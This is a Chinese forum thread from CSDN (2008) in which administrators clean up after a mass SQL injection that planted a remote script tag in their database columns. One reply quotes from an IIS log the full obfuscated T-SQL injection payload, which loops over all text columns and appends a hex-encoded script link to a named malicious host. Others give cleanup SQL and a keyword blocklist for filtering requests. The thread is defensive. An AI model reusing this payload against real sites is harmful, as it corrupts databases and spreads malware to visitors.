1:SQL注入专题--整理帖
http://topic.csdn.net/u/20081205/09/3dd06076-bcbe-45d4-998c-8999fdbe6fae.html
2:sql2000里面有类似Ctrl+F这里查找替换的方法吗?
貌似沒有
3:
update 表一 
set 字段一=replace(字段一,' <script src=http://www.*****.***/**.js> </script>', '') 

解决方案 »

  1.   


    update 表一 
    set 字段一=(select replace(字段一,' <script src=http://www.*****.***/**.js> </script>', '') from 表一) ==》
    update 表一 
    set 字段一 = replace(字段一,' <script src=http://www.*****.***/**.js> </script>', '')
    where 字段一 like '%<script src=http://www.*****.***/**.js> </script>%' 
      

  2.   

    写代码时注意外部用户提交参数。一定要处理。
    request,form,cookies等
      

  3.   

    字段一是text类型,长度是16.
    在数据库里面是存新闻内容的。在sql查询分析器里面运行:update 表一 
    set 字段一=replace(字段一,' <script src=http://www.*****.***/**.js> </script>', '')
    提示:
    函数 replace 的参数 1 的数据类型 text 无效。
    update 表一 
    set 字段一=replace(cast(字段一as varchar(8000)),' <script src=http://www.*****.***/**.js> </script>', '')
    提示:
    SQL Server 内部错误。文本管理器无法继续执行当前语句。
    这个问题如何处理呢?
      

  4.   


    declare @s_str varchar(8000),@d_str varchar(8000)
    select @s_str='<script src=http://www.*****.***/**.js> </script>' --要替换的字符串
    ,@d_str=''--替换成的字符串declare @p varbinary(16),@postion int,@rplen int
    select @p=textptr(info),@rplen=len(@s_str),@postion=charindex(@s_str,info)-1 from info
    while @postion>0
    begin
    updatetext info.info @p @postion @rplen @d_str
    select @postion=charindex(@s_str,info)-1 from info
    end
    select * from info
    表名:info,该表中的一个被修改字段名也是info,
    执行以上代码,发现内容没有变化,不知道问题在哪里?
      

  5.   

    朋友网站被注入,并且库里所有表的text、ntext、varchar、nvarchar
    字段内容末尾被加入"></title><script src=http://s.see9.us/s.js><发现这个问题后,首先想到的是注入,需要寻找注入点
    想当两个方案
    一、查iis是志
    二、跟踪sql server首先查看iis日志,搜索"Update%20",找到很多,如:
    2008-**-** 00:17:54 59.39.69.146 - W3SVC1 80 GET show.asp id=8826;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20select%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20where%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('Update%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- 302 0 HTTP/1.1 211.68.23.76 Mozilla/4.0 - -看来这就是他的一个注入点了,然后还有很多。找到show.asp页面,果然没有判断id参数。
    后来发现有很多页面都可以注入,哎。。改吧老兄
    根据日志,我还原了下他url提交的内容为:declare  @t  varchar(255),@c  varchar(255)  
    declare  table_cursor  cursor  for  
    select  a.name,b.name  from  sysobjects  a,syscolumns  b  
    where  a.iD=b.iD  AnD  a.xtype='u'  
    AnD  (b.xtype=99  or  b.xtype=35  or  b.xtype=231  or  b.xtype=167)  open  table_cursor  fetch  next  from  table_cursor  
    into  @t,@c  
    while(@@fetch_status=0)  
    begin  
        print('update  [' + @t + ']  set  [' + @c + ']=rtrim(convert(varchar,[' + @c + '])) + cast(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D  aS  varchar(67))')  
        fetch  next  from  table_cursor  into  @t,@c  
    end  
    close  table_cursor  deallocate  table_cursor;--反其道而行之,可以如下替换:
    declare  @t  varchar(255),@c  varchar(255)  
    declare  table_cursor  cursor  for  
    select  a.name,b.name  from  sysobjects  a,syscolumns  b  
    where  a.iD=b.iD  AnD  a.xtype='u'  
    AnD  (b.xtype=99  or  b.xtype=35  or  b.xtype=231  or  b.xtype=167)  
    declare @str varchar(500)
    --这里是你要替换的字符
    set @str='"></title><script src=http://s.see9.us/s.js></script><!--'
    open  table_cursor  fetch  next  from  table_cursor  
    into  @t,@c  while(@@fetch_status=0)  
    begin      
        exec('update  [' + @t + ']  set  [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''')')      
        fetch  next  from  table_cursor  into  @t,@c  
    end  
    close  table_cursor  deallocate  table_cursor;事实上只能替换掉注入进来的字符串,但无法还原了,因为对方注入时全部都是先截取原来的一部分字符,再加上新的字符.
    完全恢复,只能用备份. 
      

  6.   

    针对目前这个比较常见的注入,可以封掉sql server连接帐号对sys架构的select权限。
      

  7.   

    我的数据库也被人改了 正在想办法解决,还没有好的预防方法,有的话我也告诉你 先说怎么替换掉那些字符
    update 表 set title=replace(title,'<script src=http://s.see9.us/s.js>','')
    如果是text不能修改 则上面的改成下面代码
    update 表 set title=replace(cast(title as varchar(8000)),'<script src=http://s.see9.us/s.js>','')
      

  8.   

    Global里加入如下代码protected void Application_BeginRequest(Object sender, EventArgs e) 

    //SQL防注入 
    string Sql_1 = "exec|insert+|select+|delete+|update+|count|chr|mid|master+|truncate|char|declare|drop+|drop+table|creat+|creat+table"; 
    string Sql_2 = "exec+|insert|insert+|delete+|update+|count(|count+|chr+|+mid(|+mid+|+master+|truncate+|char+|+char(|declare+|drop+|creat+|drop+table|creat+table"; 
    string[] sql_c = Sql_1.Split('|'); 
    string[] sql_c1 = Sql_2.Split('|'); if (Request.QueryString != null) 

    foreach (string sl in sql_c) 

    if (Request.QueryString.ToString().ToLower().IndexOf(sl.Trim()) >= 0) 

    Response.Write("请不要使用敏感字符!");// 
    Response.Write(sl); 
    Response.Write(Request.QueryString.ToString()); 
    Response.End(); 
    break; 


    }
    if (Request.Form.Count > 0)
    {
        string s1 = Request.ServerVariables["SERVER_NAME"].Trim();//服务器名称 
        if (Request.ServerVariables["HTTP_REFERER"] != null)
        {
            string s2 = Request.ServerVariables["HTTP_REFERER"].Trim();//http接收的名称 
            string s3 = "";
            if (s1.Length > (s2.Length - 7))
            {
                s3 = s2.Substring(7);
            }
            else
            {
                s3 = s2.Substring(7, s1.Length);
            }
            if (s3 != s1)
            {
                Response.Write("请不要使用敏感字符!");// 
                Response.End();
            }
        }
    }
      

  9.   

    我已找到针对这个注入攻击的方法了
    1.下载safe3的防火墙,运行后重启IIS,基本可以屏蔽掉注入
    2.将数据库2005的账户访问sysobject视图的select权限拒绝掉,具体方法 点该数据库下的用户右键属性,添加 然后选视图,浏览,然后看到select后拒绝
    3.将网站的cookie改成session